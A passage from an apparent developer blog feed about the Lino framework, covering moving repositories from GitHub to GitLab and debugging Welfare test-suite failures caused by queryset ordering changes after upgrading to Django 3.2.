&lt;p&gt;Visit the GitLab project page on &lt;a class="reference external" href="https://gitlab.com/lino-framework"&gt;https://gitlab.com/lino-framework&lt;/a&gt; and change
visibility from “private” to “public”. (This can’t be done using the CLI:
&lt;a class="reference external" href="https://stackoverflow.com/questions/57395399/gitlab-default-project-visibility-when-creating-projects-from-terminal"&gt;https://stackoverflow.com/questions/57395399/gitlab-default-project-visibility-when-creating-projects-from-terminal&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Go to &lt;a class="reference external" href="https://github.com/lino-framework/XXX"&gt;https://github.com/lino-framework/XXX&lt;/a&gt; and use the GitHub web UI to  add a
warning to the README.rst file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;Warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;repository&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;moved&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;gitlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;XXX&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then tell GitLab to archive the repository.&lt;/p&gt;
&lt;p&gt;Finally:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Update the known repositories in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/getlino.utils.html#module-getlino.utils" title="(in getlino docs)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;-l&lt;/span&gt;&lt;/code&gt; and check the project urls.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Release to PyPI.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Done for the following repositories: lino, xl, noi, cosi, voga, avanti, welfare, weleup, welcht&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0412.html</guid><pubDate>Mon, 12 Apr 2021 00:00:00 +0000</pubDate></item><item><title>The Mystery of the failing Welfare test suite (continued)</title><link>https://luc.lino-framework.org/blog/2021/0410.html</link><description>&lt;section id="the-mystery-of-the-failing-welfare-test-suite-continued"&gt;
&lt;h1&gt;The Mystery of the failing Welfare test suite (continued)&lt;a class="headerlink" href="#the-mystery-of-the-failing-welfare-test-suite-continued" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Saturday, April 10, 2021. Continued from &lt;a class="reference internal" href="0409.html"&gt;&lt;span class="doc"&gt;Friday, April 9, 2021&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This morning I discovered that my observations yesterday about wrong ordering
came because I had a bug in my new version of the
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.welfare.models.customize_sqlite()&lt;/span&gt;&lt;/code&gt; function: it mixed
up -1 and 1.  That’s the explanation for the mysterious observations I saw
yesterday.&lt;/p&gt;
&lt;p&gt;I wrote a new doctest &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/topics/sorting.rst&lt;/span&gt;&lt;/code&gt; (rendered
&lt;a class="reference external" href="https://welfare.lino-framework.org/specs/topics/sorting.html#welfare-specs-topics-sorting" title="(in Lino Welfare)"&gt;&lt;span&gt;About sorting&lt;/span&gt;&lt;/a&gt;) in order to verify my theory that the
issues are caused by demo data being generated differently because sorting
behaviour has changed.  And the result is &lt;em&gt;negative&lt;/em&gt;, i.e. my theory seems
wrong. This file passes always, even with the pypi versions of lino, xl, welfare
and weleup.&lt;/p&gt;
&lt;p&gt;Right now I have no idea what else might be the reason.
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/releases/3.2/"&gt;https://docs.djangoproject.com/en/6.0/releases/3.2/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When run with Django 3.1.8 and Lino master, &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt; in welfare
yields 2 failures, one being caused because django.db.models.fields.AutoField
changed to django.db.models.fields.BigAutoField, the other is the total number
of cal.Event objects, where the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/weleup/eupen.rst&lt;/span&gt;&lt;/code&gt; expects 311
but gets 588.  This failure might have been there for some time, there is indeed&lt;/p&gt;
&lt;p&gt;I now added &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;show_db_overview()&lt;/span&gt;&lt;/code&gt; to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/weleup/eupen.rst&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0410.html</guid><pubDate>Sat, 10 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Friday, April 9, 2021</title><link>https://luc.lino-framework.org/blog/2021/0409.html</link><description>&lt;section id="friday-april-9-2021"&gt;
&lt;h1&gt;Friday, April 9, 2021&lt;a class="headerlink" href="#friday-april-9-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-mystery-of-the-failing-welfare-test-suite"&gt;
&lt;h2&gt;The Mystery of the failing Welfare test suite&lt;a class="headerlink" href="#the-mystery-of-the-failing-welfare-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am exploring the failures in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;.  I picked
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/b2c.rst&lt;/span&gt;&lt;/code&gt; (the source file for &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/b2c.html#welfare-specs-b2c" title="(in Lino Welfare)"&gt;&lt;span&gt;b2c : SEPA  BankToCustomer&lt;/span&gt;&lt;/a&gt;) as an
example. It fails also when I go back to Django 3.1.7 (the version I had before
upgrading).&lt;/p&gt;
&lt;p&gt;Note that I also have to run &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in the gerd demo
project after every change. This indicates that the issues are caused by demo
data being generated differently because sorting behaviour has changed.&lt;/p&gt;
&lt;p&gt;The failure in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/b2c.rst&lt;/span&gt;&lt;/code&gt; comes because in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.sepa.fixtures.demo&lt;/span&gt;&lt;/code&gt; the following line failed with
Django 3.2:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Company&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sepa_accounts__iban__gt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;distinct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed it to:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Company&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exclude&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sepa_accounts__iban&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;distinct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This change caused the companies to be sorted differently.&lt;/p&gt;
&lt;p&gt;The special sqlite sorting hack in
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.lib.welfare.models.customize_sqlite()&lt;/span&gt;&lt;/code&gt; seems also related to
these issues. In Django 3.2 the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;stricmp()&lt;/span&gt;&lt;/code&gt; function caused a &lt;cite&gt;NameError:
name ‘cmp’ is not defined&lt;/cite&gt; and I have no explanation why this error didn’t come
already earlier. The built-in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;cmp()&lt;/span&gt;&lt;/code&gt; function has been removed in Python 3
but it was still being used, and nobody complained. Which made me suspect that
the hack wasn’t active.&lt;/p&gt;
&lt;p&gt;Maybe the following &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/releases/3.2/"&gt;documented change&lt;/a&gt; is responsible: The
django.db.models.Field equality operator now correctly distinguishes inherited
field instances across models. Additionally, the ordering of such fields is now
defined.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Company" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Company&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model had no &lt;cite&gt;Meta.ordering&lt;/cite&gt; specified.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;ordering = [‘name’]&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The docs about &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/models/options/#django.db.models.Options.ordering"&gt;Meta.ordering&lt;/a&gt;
have a warning “Ordering is not a free operation. Each field you add to the
ordering incurs a cost to your database. Each foreign key you add will
implicitly include all of its default orderings as well.” Not sure how to
understand this.  Does it mean that we should rather use only
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.tables.AbstractTable.order_by&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;I thought that the issue comes because querysets are no longer automatically
sorted by &lt;cite&gt;id&lt;/cite&gt; (when &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/models/options/#django.db.models.Options.ordering"&gt;Meta.ordering&lt;/a&gt;)
is not specified. So I replaced, in &lt;cite&gt;welfare/**fixtures/*.py&lt;/cite&gt;, all occurrences
of &lt;cite&gt;.objects.all()&lt;/cite&gt; by &lt;cite&gt;.objects.order_by(‘id’)&lt;/cite&gt;. And added an &lt;cite&gt;.order_by(‘id’)&lt;/cite&gt;
to all calls to &lt;cite&gt;.objects.filter(…)&lt;/cite&gt; that didn’t specify any ordering.&lt;/p&gt;
&lt;p&gt;I now at least understand the problem: certain models don’t have a default
ordering. And the demo fixtures in welfare happily created coachings and other
things based on non-ordered data. That was no problem because unordered data was
in some constant way unordered. Until Django 3.2 where this ordering changes.&lt;/p&gt;
&lt;p&gt;But that didn’t help, either.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/newcomers.rst&lt;/span&gt;&lt;/code&gt; fixture helped me to understand more:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ dt docs/specs/newcomers.rst
Failed example:
    rt.show(&amp;#39;newcomers.Competences&amp;#39;)
    #doctest: +ELLIPSIS +NORMALIZE_WHITESPACE
Expected:
    ==== ================= ================================ =========
     ID   Benutzer          Fachbereich                      Aufwand
    ---- ----------------- -------------------------------- ---------
     1    Alicia Allmanns   Eingliederungseinkommen (EiEi)   10
     2    Hubert Huppertz   DSBE                             5
     3    Mélanie Mélard    Ausländerbeihilfe                4
     4    Alicia Allmanns   Finanzielle Begleitung           6
     5    Hubert Huppertz   Laufende Beihilfe                2
     6    Mélanie Mélard    Eingliederungseinkommen (EiEi)   10
     7    Alicia Allmanns   DSBE                             5
                                                             **42**
    ==== ================= ================================ =========
    &amp;lt;BLANKLINE&amp;gt;
Got:
    ==== ================= ================================ =========
     ID   Benutzer          Fachbereich                      Aufwand
    ---- ----------------- -------------------------------- ---------
     1    Mélanie Mélard    Eingliederungseinkommen (EiEi)   10
     2    Hubert Huppertz   DSBE                             5
     3    Alicia Allmanns   Ausländerbeihilfe                4
     4    Mélanie Mélard    Finanzielle Begleitung           6
     5    Hubert Huppertz   Laufende Beihilfe                2
     6    Alicia Allmanns   Eingliederungseinkommen (EiEi)   10
     7    Mélanie Mélard    DSBE                             5
                                                             **42**
    ==== ================= ================================ =========
    &amp;lt;BLANKLINE&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the (simplified) code that generates this database content:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;FACULTIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Cycler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newcomers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Faculty&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;USERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Cycler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;newcomers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Competence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;USERS&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;faculty&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FACULTIES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;newcomers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Faculty&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Some models have a default ordering:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Job&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;debts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;art61&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;immersion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ContractType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;immersion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Goal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But many models don’t have have it:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Company&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;pcsw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ordered&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ClientContactType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aids&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Granting&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ORDER BY&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;households&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Household&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;False&lt;/span&gt;
